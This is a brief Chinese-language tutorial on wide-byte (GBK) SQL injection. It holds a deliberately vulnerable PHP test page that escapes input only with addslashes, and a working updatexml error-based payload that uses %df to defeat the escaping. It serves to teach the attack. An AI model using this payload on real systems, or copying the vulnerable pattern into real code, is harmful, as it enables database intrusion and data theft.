测试代码
<!DOCTYPE html>
<meta charset="gbk">
<?php
error_reporting(0);
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('test',$conn);
#mysql_query("set names gbk");
$id = addslashes($_GET['sql']);
$sql = "SELECT username,password FROM admin WHERE id='{$id}'";
echo $sql.'</br></br></br></br>';
if($res = mysql_query($sql)){
while($row = mysql_fetch_array($res)){
var_dump($row);
}
}else{
echo "Error".mysql_error()."</br>";
}
?>
直接 ' 会被转义,不会被执行。
使用宽字符就可以被成功执行
解析过程
- $_GET[‘id’]经过addslashes编码之后带入了‘’
- 变成 <pre>2%df%5C%27 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23</pre>
- 带入mysql处理时使用了gbk字符集
- %df%5c 運成功的吃掉了%5c
- %27‘单引号成功闭合
- GBK编码,编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘’,而%27、%20小于ascii(128)的字符就保留了。